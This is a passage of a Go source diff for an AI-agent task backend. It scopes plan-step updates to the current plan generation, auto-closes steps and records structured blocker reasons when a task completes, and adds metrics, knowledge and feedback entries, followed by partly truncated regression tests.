out := make([]map[string]any, 0, len(steps))
|
||||
for i, st := range steps {
|
||||
@@ -658,7 +944,7 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
||||
if st.TargetSlug != "" {
|
||||
targetSlug = &st.TargetSlug
|
||||
}
|
||||
seq := startSeq + i + 1
|
||||
seq := i + 1
|
||||
var id uuid.UUID
|
||||
if err := tx.QueryRow(ctx, `
|
||||
INSERT INTO session_plan_steps (session_id, seq, title, detail, target_slug, generation)
|
||||
@@ -697,10 +983,27 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
||||
// be marked complete while an earlier step is still pending, preventing the
|
||||
// agent from marking step 5 done before step 4 (observed in production: the
|
||||
// agent rushed to close all steps in a final turn, in reverse order).
|
||||
func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, status, execID string) error {
|
||||
func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, status, execID, replacedReason string) error {
|
||||
if s == nil || sessionID == "" || sessionID == "ephemeral" {
|
||||
return nil
|
||||
}
|
||||
// Resolve the CURRENT generation: seq is generation-relative (1-based
|
||||
// within the plan the model is working), so (session_id, MAX(generation),
|
||||
// seq) is the addressing key. A re-plan's superseded generations have
|
||||
// their own seq space and must never be touched by a follow-up's
|
||||
// update_plan_step — that was the root cause of "the plan was off"
|
||||
// (gen-1 `replaced` rows resurrected as `done` while gen-2 work went
|
||||
// unrecorded). The MAX(generation) step is by construction the active
|
||||
// plan, never `replaced`, so this can't resurrect a superseded row (P0.1).
|
||||
var curGen int
|
||||
if err := s.pool.QueryRow(ctx,
|
||||
`SELECT COALESCE(MAX(generation), 0) FROM session_plan_steps WHERE session_id = $1`,
|
||||
sessionID).Scan(&curGen); err != nil {
|
||||
return err
|
||||
}
|
||||
if curGen == 0 {
|
||||
return errPlanStepNotFound
|
||||
}
|
||||
stamp := ""
|
||||
switch status {
|
||||
case "running":
|
||||
@@ -708,16 +1011,18 @@ func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, s
|
||||
case "done", "failed", "skipped", "blocked", "replaced":
|
||||
stamp = ", finished_at = now()"
|
||||
}
|
||||
// Completion ordering: for terminal states, check that no earlier step
|
||||
// is still pending. Running steps can start out of order (the agent
|
||||
// may dispatch parallel work), but completion must be sequential.
|
||||
// Completion ordering, scoped to the CURRENT generation: for terminal
|
||||
// states, no earlier step in THIS plan may still be pending. Running
|
||||
// steps can start out of order (the agent may dispatch parallel work),
|
||||
// but completion must be sequential. Earlier generations are superseded
|
||||
// and irrelevant.
|
||||
if status == "done" || status == "failed" || status == "skipped" || status == "blocked" {
|
||||
var blockedBy int
|
||||
if err := s.pool.QueryRow(ctx, `
|
||||
SELECT COALESCE(MIN(seq), 0)
|
||||
FROM session_plan_steps
|
||||
WHERE session_id = $1 AND seq < $2 AND status = 'pending'`,
|
||||
sessionID, seq).Scan(&blockedBy); err == nil && blockedBy > 0 {
|
||||
WHERE session_id = $1 AND generation = $2 AND seq < $3 AND status = 'pending'`,
|
||||
sessionID, curGen, seq).Scan(&blockedBy); err == nil && blockedBy > 0 {
|
||||
return fmt.Errorf("cannot complete step %d — step %d is still pending", seq, blockedBy)
|
||||
}
|
||||
}
|
||||
@@ -728,12 +1033,33 @@ func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, s
|
||||
var stepID uuid.UUID
|
||||
var targetSlug *string
|
||||
// stamp is a fixed literal from the switch above — never user input.
|
||||
if err := s.pool.QueryRow(ctx, `
|
||||
UPDATE session_plan_steps
|
||||
SET status = $3, execution_id = COALESCE($4, execution_id)`+stamp+`
|
||||
WHERE session_id = $1 AND seq = $2
|
||||
RETURNING id, target_slug`, sessionID, seq, status, execPtr).Scan(&stepID, &targetSlug); err != nil {
|
||||
return err
|
||||
// status <> 'replaced' is defense-in-depth: MAX(generation) can't hold a
|
||||
// replaced row, but if it ever could, this refuses the write instead of
|
||||
// resurrecting it. No matching row → errPlanStepNotFound (stale/out-of-range seq).
|
||||
if status == "replaced" && replacedReason != "" {
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
UPDATE session_plan_steps
|
||||
SET status = $4, execution_id = COALESCE($5, execution_id), replaced_reason = $6`+stamp+`
|
||||
WHERE session_id = $1 AND generation = $2 AND seq = $3 AND status <> 'replaced'
|
||||
RETURNING id, target_slug`, sessionID, curGen, seq, status, execPtr, replacedReason).Scan(&stepID, &targetSlug)
|
||||
if err != nil {
|
||||
if errors.Is(err, pgx.ErrNoRows) {
|
||||
return errPlanStepNotFound
|
||||
}
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
UPDATE session_plan_steps
|
||||
SET status = $4, execution_id = COALESCE($5, execution_id)`+stamp+`
|
||||
WHERE session_id = $1 AND generation = $2 AND seq = $3 AND status <> 'replaced'
|
||||
RETURNING id, target_slug`, sessionID, curGen, seq, status, execPtr).Scan(&stepID, &targetSlug)
|
||||
if err != nil {
|
||||
if errors.Is(err, pgx.ErrNoRows) {
|
||||
return errPlanStepNotFound
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
// Anchor the event to the step's target entity when it has one, else the task.
|
||||
entPtr := s.taskEntityPtr(ctx, sessionID)
|
||||
@@ -809,6 +1135,72 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
|
||||
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
|
||||
|
||||
// P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent
|
||||
// doesn't need an update_plan_step(running)→update_plan_step(done)
|
||||
// dance for each step right before completion. Session 8c76bb3a
|
||||
// (greeting + title-sync test) burned 4 update_plan_step calls for a
|
||||
// one-step plan. completeTask is the authoritative terminal — any
|
||||
// step still in pending/running when the task ends is closed (as
|
||||
// "done" for success, "skipped" for partial/failure) so the UI's plan
|
||||
// view doesn't show orphaned running steps on a completed task.
|
||||
// Replaced/cancelled/blocked steps are left alone.
|
||||
closeStatus := "done"
|
||||
if outcome != "success" {
|
||||
closeStatus = "skipped"
|
||||
}
|
||||
// Auto-close only the CURRENT generation's in-flight steps — superseded
|
||||
// generations were already resolved when their plan was replaced. Stamp
|
||||
// started_at so no `done` step is left with a NULL start time (P0.1 fix
|
||||
// 5), and emit a plan.step.finished event per closed step so the panel
|
||||
// converges instead of freezing on "running" after the task completes
|
||||
// (P1.1: no bulk plan-step status write without a corresponding event).
|
||||
type closingStep struct {
|
||||
id uuid.UUID
|
||||
seq int
|
||||
targetSlug *string
|
||||
}
|
||||
var toClose []closingStep
|
||||
if rows, qerr := s.pool.Query(ctx, `
|
||||
SELECT id, seq, target_slug FROM session_plan_steps
|
||||
WHERE session_id = $1
|
||||
AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)
|
||||
AND status IN ('pending', 'running')`, sessionID); qerr == nil {
|
||||
for rows.Next() {
|
||||
var cs closingStep
|
||||
if err := rows.Scan(&cs.id, &cs.seq, &cs.targetSlug); err == nil {
|
||||
toClose = append(toClose, cs)
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE session_plan_steps
|
||||
SET status = $2,
|
||||
started_at = COALESCE(started_at, now()),
|
||||
finished_at = COALESCE(finished_at, now())
|
||||
WHERE session_id = $1
|
||||
AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)
|
||||
AND status IN ('pending', 'running')`,
|
||||
sessionID, closeStatus); err != nil {
|
||||
slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err)
|
||||
}
|
||||
// Emit one plan.step.finished per closed step so the live panel advances
|
||||
// (mirrors updatePlanStep's event). A bulk UPDATE that skips the event
|
||||
// bus guarantees a stale panel — the rule is: no plan-step status change
|
||||
// without a corresponding event.
|
||||
taskEnt := s.taskEntityPtr(ctx, sessionID)
|
||||
for _, cs := range toClose {
|
||||
evEnt := taskEnt
|
||||
if cs.targetSlug != nil && *cs.targetSlug != "" {
|
||||
var tid uuid.UUID
|
||||
if s.pool.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, *cs.targetSlug).Scan(&tid) == nil {
|
||||
evEnt = &tid
|
||||
}
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "plan.step.finished", evEnt, "info", "nomos", sessionID,
|
||||
map[string]any{"step_id": cs.id.String(), "seq": cs.seq, "status": closeStatus})
|
||||
}
|
||||
|
||||
// Clean up assent and destructive window keys from autonomy_settings.
|
||||
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
|
||||
WHERE key LIKE '%:' || $1`, sessionID)
|
||||
@@ -817,9 +1209,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
if outcome == "failure" {
|
||||
status = "failed"
|
||||
}
|
||||
// P1.5 (2026-07-20): derive a structured blocker reason when the
|
||||
// outcome is partial/failed, so trend analysis can answer "why are
|
||||
// sessions failing?" without parsing free-text summaries. Three
|
||||
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all
|
||||
// bounced off the classifier; without a blocker field, the *why* was
|
||||
// buried in the last assistant message. The signatures matched here
|
||||
// are the recurring ones from the 2026-07-20 session audit. Empty for
|
||||
// success — that's not a blocker.
|
||||
blocker := ""
|
||||
if outcome != "success" {
|
||||
blocker = deriveBlocker(ctx, s, sessionID, summary)
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now()
|
||||
WHERE id = $1`, sessionID, status, outcome, summary); err != nil {
|
||||
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4,
|
||||
blocker = $5, closed_at = now(), last_active_at = now()
|
||||
WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil {
|
||||
return err
|
||||
}
|
||||
var entID uuid.UUID
|
||||
@@ -837,10 +1242,190 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
|
||||
map[string]any{"status": status, "outcome": outcome, "summary": summary,
|
||||
"cancelled_executions": cancelledCount})
|
||||
"cancelled_executions": cancelledCount, "blocker": blocker})
|
||||
// Auto-persist knowledge so the graph learns from this session regardless
|
||||
// of whether the agent remembered to call upsert_knowledge (2026-08-04
|
||||
// session audit: only 2.4% of sessions called upsert_knowledge manually).
|
||||
if outcome == "success" || outcome == "partial" {
|
||||
autoUpsertKnowledge(ctx, s, sessionID, outcome, summary)
|
||||
}
|
||||
// Plan quality metric: compute step completion rate for the session's
|
||||
// current plan generation. Tracked as a task attribute so the trend
|
||||
// can be monitored over time (2026-08-04 session audit: 38% baseline).
|
||||
writePlanCompletionRate(ctx, s, sessionID)
|
||||
// Auto-feedback: create a feedback entry linking the session's outcome
|
||||
// to its last execution, feeding the pattern-extraction pipeline that
|
||||
// has been empty since launch (2026-08-04 session audit: 0 feedback rows).
|
||||
if outcome == "success" || outcome == "partial" {
|
||||
autoFeedback(ctx, s, sessionID, outcome, summary)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// autoUpsertKnowledge creates a knowledge entry for a completed session,
|
||||
// capturing what was done and linking it to the entities involved. Called
|
||||
// automatically from completeTask so every session leaves a trace, even if
|
||||
// the agent forgot to call upsert_knowledge. Only fired for success/partial
|
||||
// outcomes (failures don't have actionable discoveries).
|
||||
func autoUpsertKnowledge(ctx context.Context, s *store, sessionID, outcome, summary string) {
|
||||
var goal string
|
||||
if err := s.pool.QueryRow(ctx,
|
||||
`SELECT COALESCE(goal, '') FROM agent_sessions WHERE id = $1`,
|
||||
sessionID).Scan(&goal); err != nil || goal == "" {
|
||||
return
|
||||
}
|
||||
title := "Session " + sessionID[:8] + ": " + goal
|
||||
if len(title) > 200 {
|
||||
title = title[:200]
|
||||
}
|
||||
content := "## Outcome\n" + outcome + "\n\n## Summary\n" + summary
|
||||
kind := "investigation"
|
||||
slug := "investigation:nomos/" + sessionID
|
||||
tags := []string{"nomos-session", "auto-generated"}
|
||||
|
||||
// Upsert the knowledge entity.
|
||||
docID, _ := uuid.NewV7()
|
||||
if err := s.pool.QueryRow(ctx, `
|
||||
INSERT INTO entities (id, slug, type, name, attributes)
|
||||
VALUES ($1, $2, $3, $4, '{}')
|
||||
ON CONFLICT (slug) DO UPDATE SET name = EXCLUDED.name, updated_at = now()
|
||||
RETURNING id`, docID, slug, kind, title).Scan(&docID); err != nil {
|
||||
slog.Warn("nomos: autoUpsertKnowledge entity insert", "session", sessionID, "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Upsert the knowledge content.
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
INSERT INTO knowledge_entities (entity_id, title, content, source, tags, updated_at)
|
||||
VALUES ($1, $2, $3, 'nomos-agent', $4, now())
|
||||
ON CONFLICT (entity_id) DO UPDATE
|
||||
SET title = EXCLUDED.title, content = EXCLUDED.content,
|
||||
tags = EXCLUDED.tags, updated_at = now()`,
|
||||
docID, title, content, tags); err != nil {
|
||||
slog.Warn("nomos: autoUpsertKnowledge content insert", "session", sessionID, "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Link to the task entity.
|
||||
var taskEntID uuid.UUID
|
||||
if s.pool.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`,
|
||||
sessionID).Scan(&taskEntID) == nil && taskEntID != uuid.Nil {
|
||||
s.pool.Exec(ctx, `
|
||||
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||
SELECT $1, $2, 'involves', '{"by":"nomos","auto":true}'::jsonb, now()
|
||||
WHERE NOT EXISTS (
|
||||
SELECT 1 FROM relationships
|
||||
WHERE source_id = $1 AND target_id = $2 AND type = 'involves' AND valid_to IS NULL)`,
|
||||
taskEntID, docID)
|
||||
}
|
||||
|
||||
slog.Info("nomos: auto-upserted knowledge for session",
|
||||
"session", sessionID, "outcome", outcome, "slug", slug)
|
||||
}
|
||||
|
||||
// writePlanCompletionRate computes the step completion rate for the current
|
||||
// plan generation and writes it as a task entity attribute so the trend can
|
||||
// be tracked. Baseline from 2026-08-04 audit: 38% (15/39 steps reached done).
|
||||
func writePlanCompletionRate(ctx context.Context, s *store, sessionID string) {
|
||||
var total, completed int
|
||||
s.pool.QueryRow(ctx, `
|
||||
SELECT COUNT(*), COALESCE(SUM(CASE WHEN status = 'done' THEN 1 ELSE 0 END), 0)
|
||||
FROM session_plan_steps
|
||||
WHERE session_id = $1
|
||||
AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)
|
||||
AND status <> 'replaced'`, sessionID).Scan(&total, &completed)
|
||||
if total > 0 {
|
||||
rate := float64(completed) / float64(total)
|
||||
attrs, _ := json.Marshal(map[string]any{"plan_completion_rate": rate, "plan_steps_total": total, "plan_steps_completed": completed})
|
||||
s.pool.Exec(ctx, `
|
||||
UPDATE entities SET attributes = attributes || $2::jsonb, updated_at = now()
|
||||
WHERE id = (SELECT entity_id FROM agent_sessions WHERE id = $1)`,
|
||||
sessionID, string(attrs))
|
||||
slog.Info("nomos: plan completion rate", "session", sessionID, "rate", fmt.Sprintf("%.0f%%", rate*100),
|
||||
"completed", completed, "total", total)
|
||||
}
|
||||
}
|
||||
|
||||
// autoFeedback creates a feedback entry linking the session's outcome to its
|
||||
// last execution, feeding the pattern-extraction pipeline that has been empty
|
||||
// since launch. Only created for success/partial outcomes (failures don't
|
||||
// have a specific execution to tie to).
|
||||
func autoFeedback(ctx context.Context, s *store, sessionID, outcome, summary string) {
|
||||
// Find the last execution linked to this session.
|
||||
var execID uuid.UUID
|
||||
if err := s.pool.QueryRow(ctx, `
|
||||
SELECT pe.execution_id FROM nomos_plan_executions pe
|
||||
WHERE pe.session_id = $1::uuid
|
||||
ORDER BY pe.created_at DESC LIMIT 1`, sessionID).Scan(&execID); err != nil || execID == uuid.Nil {
|
||||
return
|
||||
}
|
||||
fbID, _ := uuid.NewV7()
|
||||
slug := "feedback:" + fbID.String()
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'feedback', $3, '{}')`,
|
||||
fbID, slug, "feedback for "+sessionID[:8]); err != nil {
|
||||
slog.Warn("nomos: autoFeedback entity insert", "session", sessionID, "error", err)
|
||||
return
|
||||
}
|
||||
_, err := s.pool.Exec(ctx, `
|
||||
INSERT INTO feedback (entity_id, execution_id, outcome, observation, lesson, tags, created_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, now())`,
|
||||
fbID, execID, outcome, summary, summary, []string{"nomos-session", "auto-generated", "session:" + sessionID[:8]})
|
||||
if err != nil {
|
||||
slog.Warn("nomos: autoFeedback insert", "session", sessionID, "error", err)
|
||||
return
|
||||
}
|
||||
slog.Info("nomos: auto-feedback created for session", "session", sessionID, "outcome", outcome)
|
||||
}
|
||||
|
||||
// blockerPatterns maps a substring (case-insensitive) to a structured blocker
|
||||
// reason. Order matters — earlier patterns take precedence. These are the
|
||||
// recurring failure signatures from the 2026-07-20 session audit. A
|
||||
// real-world blocker that doesn't match any of these falls through to
|
||||
// "uncategorized" — better than empty, because empty means "we don't know
|
||||
// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md.
|
||||
var blockerPatterns = []struct {
|
||||
pattern string
|
||||
reason string
|
||||
}{
|
||||
{"queued for approval", "approval_timeout"},
|
||||
{"assent window", "approval_timeout"},
|
||||
{"cancel", "user_abandoned"},
|
||||
{"close this session", "user_abandoned"},
|
||||
{"lets just close", "user_abandoned"},
|
||||
{"classifier flagged", "classifier_overreach"},
|
||||
{"config_mutation", "classifier_overreach"},
|
||||
{"refus", "model_refusal"}, // refuses/refused/refusal
|
||||
{"empty response", "model_empty_response"},
|
||||
{"no local knowledge", "missing_knowledge"},
|
||||
{"can't run", "missing_capability"},
|
||||
{"cannot run", "missing_capability"},
|
||||
{"timeout", "tool_error"},
|
||||
{"error", "tool_error"},
|
||||
}
|
||||
|
||||
// deriveBlocker scans the last assistant message + the summary for known
|
||||
// failure signatures and returns the matching structured reason. Returns
|
||||
// "uncategorized" when outcome is partial/failed but no signature matched —
|
||||
// better than "" because the audit needs to know this WAS blocked, just for
|
||||
// an unknown reason. Returns "" for success outcomes (caller checks first).
|
||||
func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string {
|
||||
// Pull the last assistant text — that's where the agent's parting
|
||||
// words explain why it didn't finish.
|
||||
var lastText string
|
||||
_ = s.pool.QueryRow(ctx, `
|
||||
SELECT content::text FROM agent_messages
|
||||
WHERE session_id = $1 AND role = 'assistant'
|
||||
ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText)
|
||||
haystack := strings.ToLower(lastText + " " + summary)
|
||||
for _, p := range blockerPatterns {
|
||||
if strings.Contains(haystack, p.pattern) {
|
||||
return p.reason
|
||||
}
|
||||
}
|
||||
return "uncategorized"
|
||||
}
|
||||
|
||||
// hadEntityWriteback checks whether this session called update_entity_attributes
|
||||
// or create_relationship — used by complete_task to warn the agent when it
|
||||
// forgot to persist entity facts (the #1 cause of knowledge graph drift).
|
||||
@@ -882,6 +1467,53 @@ func (s *store) hadDiscovery(ctx context.Context, sessionID string) bool {
|
||||
return count > 0
|
||||
}
|
||||
|
||||
// sessionGoal returns the session's goal text, empty string if not found.
|
||||
// Used by complete_task to check whether the goal involved a reachability
|
||||
// verification before marking success.
|
||||
func (s *store) sessionGoal(ctx context.Context, sessionID string) string {
|
||||
if s == nil || sessionID == "" {
|
||||
return ""
|
||||
}
|
||||
var goal string
|
||||
s.pool.QueryRow(ctx,
|
||||
`SELECT COALESCE(goal, '') FROM agent_sessions WHERE id = $1`,
|
||||
sessionID).Scan(&goal)
|
||||
return goal
|
||||
}
|
||||
|
||||
// hadRecentVerification checks whether the session successfully verified
|
||||
// reachability in recent turns — ping_service, or a run with curl/wget that
|
||||
// returned successfully. Used by complete_task as a soft warning when the
|
||||
// goal involved a reachability check but no recent verification occurred.
|
||||
func (s *store) hadRecentVerification(ctx context.Context, sessionID string) bool {
|
||||
if s == nil || sessionID == "" {
|
||||
return true // fail safe: don't warn when we can't check
|
||||
}
|
||||
// Check for ping_service calls in the last 5 activity entries for this session.
|
||||
var pingCount int
|
||||
s.pool.QueryRow(ctx, `
|
||||
SELECT COUNT(*) FROM (
|
||||
SELECT 1 FROM agent_activity
|
||||
WHERE session_id = $1 AND tool_name = 'ping_service' AND success = true
|
||||
ORDER BY ts DESC LIMIT 5
|
||||
) sub`, sessionID).Scan(&pingCount)
|
||||
if pingCount > 0 {
|
||||
return true
|
||||
}
|
||||
// Check for run calls with curl/wget that returned successfully.
|
||||
var curlCount int
|
||||
s.pool.QueryRow(ctx, `
|
||||
SELECT COUNT(*) FROM (
|
||||
SELECT 1 FROM agent_activity
|
||||
WHERE session_id = $1
|
||||
AND tool_name = 'run'
|
||||
AND success = true
|
||||
AND (input_summary LIKE '%curl%' OR input_summary LIKE '%wget%')
|
||||
ORDER BY ts DESC LIMIT 10
|
||||
) sub`, sessionID).Scan(&curlCount)
|
||||
return curlCount > 0
|
||||
}
|
||||
|
||||
// staleGoalSession is a goal-bearing task that's gone idle without reaching
|
||||
// a terminal state — the idle-sweep worker's work list (fix 2+3 of
|
||||
// plans/2026-07-11-task-completion-safety-net.md).
|
||||
@@ -989,15 +1621,23 @@ type planStep struct {
|
||||
|
||||
// getPlanSteps returns a task's plan in order — REST hydration for the context
|
||||
// panel when it first opens a task (live events only carry deltas from then on).
|
||||
func (s *store) getPlanSteps(ctx context.Context, sessionID string) ([]planStep, error) {
|
||||
// By default only the CURRENT (MAX) generation is returned — the panel shows the
|
||||
// live plan, not an archaeological record of every superseded generation. Pass
|
||||
// all=true for the audit/eval view that needs every generation (the
|
||||
// plan_generations assertion counts distinct generations across the full set).
|
||||
func (s *store) getPlanSteps(ctx context.Context, sessionID string, all bool) ([]planStep, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
genFilter := ""
|
||||
if !all {
|
||||
genFilter = "AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)"
|
||||
}
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT id::text, seq, title, detail, status,
|
||||
execution_id::text, target_slug,
|
||||
started_at::text, finished_at::text, generation
|
||||
FROM session_plan_steps WHERE session_id = $1 ORDER BY seq`, sessionID)
|
||||
FROM session_plan_steps WHERE session_id = $1 `+genFilter+` ORDER BY generation, seq`, sessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -1477,7 +2117,7 @@ func (s *store) resolveArgEntityID(ctx context.Context, args map[string]any) uui
|
||||
// The (nullable) session_id column carries the conversation id. args is the
|
||||
// tool call's own arguments, used to best-effort tag the row with the
|
||||
// entity it acted on (see resolveArgEntityID).
|
||||
func (s *store) logActivity(ctx context.Context, agentID uuid.UUID, sessionID, toolName string, args map[string]any, inputSummary, outputSummary string, durationMs int, success bool, correlationID string) {
|
||||
func (s *store) logActivity(ctx context.Context, agentID uuid.UUID, sessionID, toolName string, args map[string]any, inputSummary, outputSummary string, durationMs int, success bool, correlationID string, tokenCount int) {
|
||||
if s == nil || agentID == uuid.Nil {
|
||||
return
|
||||
}
|
||||
@@ -1489,8 +2129,8 @@ func (s *store) logActivity(ctx context.Context, agentID uuid.UUID, sessionID, t
|
||||
s.pool.Exec(ctx, `
|
||||
INSERT INTO agent_activity
|
||||
(agent_id, session_id, activity_type, tool_name, entity_id, input_summary, output_summary,
|
||||
duration_ms, success, correlation_id)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)`,
|
||||
duration_ms, success, correlation_id, token_count)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)`,
|
||||
agentID, sessionID, "tool_call", toolName, entityIDArg, inputSummary, outputSummary,
|
||||
durationMs, success, correlationID)
|
||||
durationMs, success, correlationID, tokenCount)
|
||||
}
|
||||
|
||||
@@ -192,7 +192,7 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
||||
}
|
||||
|
||||
// Mark step 1 as started.
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", ""); err != nil {
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", "", ""); err != nil {
|
||||
t.Fatalf("updatePlanStep: %v", err)
|
||||
}
|
||||
|
||||
@@ -205,7 +205,7 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
||||
}
|
||||
|
||||
// The original step 1 must be untouched — not erased, not appended to.
|
||||
steps, err := s.getPlanSteps(ctx, sess.ID)
|
||||
steps, err := s.getPlanSteps(ctx, sess.ID, false)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps: %v", err)
|
||||
}
|
||||
@@ -217,7 +217,8 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
||||
}
|
||||
|
||||
// Third call BEFORE anything runs on a fresh session: every step is
|
||||
// still pending, so this must REPLACE, not refuse.
|
||||
// still pending, so this must REPLACE (mark the prior plan `replaced`),
|
||||
// not refuse. The new plan becomes generation 2.
|
||||
sess2, err := s.createSession(ctx, "plan replace test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
@@ -228,15 +229,146 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
||||
if _, err := s.proposePlan(ctx, sess2.ID, []planStepInput{{Title: "Revised"}}); err != nil {
|
||||
t.Fatalf("proposePlan (revise before execution): %v", err)
|
||||
}
|
||||
revisedSteps, err := s.getPlanSteps(ctx, sess2.ID)
|
||||
// Default (current generation) view: only the revised step.
|
||||
revisedSteps, err := s.getPlanSteps(ctx, sess2.ID, false)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps: %v", err)
|
||||
}
|
||||
if len(revisedSteps) != 1 || revisedSteps[0].Title != "Revised" {
|
||||
t.Fatalf("got %+v, want a single 'Revised' step (pre-execution revise must replace, not refuse)", revisedSteps)
|
||||
t.Fatalf("got %+v, want a single 'Revised' step (current-generation view)", revisedSteps)
|
||||
}
|
||||
if revisedSteps[0].Generation != 1 {
|
||||
t.Fatalf("revised step generation = %d, want 1 (fresh-start after DELETE resets generation)", revisedSteps[0].Generation)
|
||||
if revisedSteps[0].Seq != 1 {
|
||||
t.Fatalf("revised step seq = %d, want 1 (seq is generation-relative, resets to 1..N)", revisedSteps[0].Seq)
|
||||
}
|
||||
if revisedSteps[0].Generation != 2 {
|
||||
t.Fatalf("revised step generation = %d, want 2 (prior pending plan is replaced, not deleted, so the counter increments)", revisedSteps[0].Generation)
|
||||
}
|
||||
// all=true audit view: both generations, the original marked `replaced`.
|
||||
allSteps, err := s.getPlanSteps(ctx, sess2.ID, true)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps(all): %v", err)
|
||||
}
|
||||
if len(allSteps) != 2 {
|
||||
t.Fatalf("all=true got %d steps, want 2 (Original replaced gen1 + Revised gen2)", len(allSteps))
|
||||
}
|
||||
if allSteps[0].Title != "Original" || allSteps[0].Status != "replaced" || allSteps[0].Generation != 1 {
|
||||
t.Errorf("gen1 step = %+v, want Original/replaced/gen1", allSteps[0])
|
||||
}
|
||||
if allSteps[1].Title != "Revised" || allSteps[1].Generation != 2 || allSteps[1].Seq != 1 {
|
||||
t.Errorf("gen2 step = %+v, want Revised/gen2/seq1", allSteps[1])
|
||||
}
|
||||
}
|
||||
|
||||
// TestUpdatePlanStep_GenerationRelative is the P0.1 regression proof: after a
|
||||
// re-plan, update_plan_step(seq=N) — using the 1-based number the model
|
||||
// naturally carries — must address the CURRENT generation and never resurrect
|
||||
// a superseded generation's `replaced` row. Before the fix, seq was globally
|
||||
// increasing across generations, so seq=1 after a re-plan flipped the gen-1
|
||||
// `replaced` step back to `running`/`done` while the real gen-2 work went
|
||||
// unrecorded.
|
||||
func TestUpdatePlanStep_GenerationRelative(t *testing.T) {
|
||||
s := newTestStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
sess, err := s.createSession(ctx, "gen-relative seq test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
// Generation 1: two steps.
|
||||
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "A"}, {Title: "B"}}); err != nil {
|
||||
t.Fatalf("proposePlan #1: %v", err)
|
||||
}
|
||||
// Re-plan: setGoal marks the gen-1 plan `replaced`, proposePlan starts gen 2.
|
||||
if err := s.setGoal(ctx, sess.ID, "follow-up sub-task"); err != nil {
|
||||
t.Fatalf("setGoal: %v", err)
|
||||
}
|
||||
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "C"}, {Title: "D"}}); err != nil {
|
||||
t.Fatalf("proposePlan #2: %v", err)
|
||||
}
|
||||
|
||||
// The model addresses the new plan with 1-based seq. seq=1 must hit
|
||||
// gen-2 "C", leaving gen-1 "A" (replaced) untouched.
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", "", ""); err != nil {
|
||||
t.Fatalf("updatePlanStep(seq=1, running): %v", err)
|
||||
}
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "done", "", ""); err != nil {
|
||||
t.Fatalf("updatePlanStep(seq=1, done): %v", err)
|
||||
}
|
||||
|
||||
all, err := s.getPlanSteps(ctx, sess.ID, true)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps(all): %v", err)
|
||||
}
|
||||
byTitle := map[string]planStep{}
|
||||
for _, st := range all {
|
||||
byTitle[st.Title] = st
|
||||
}
|
||||
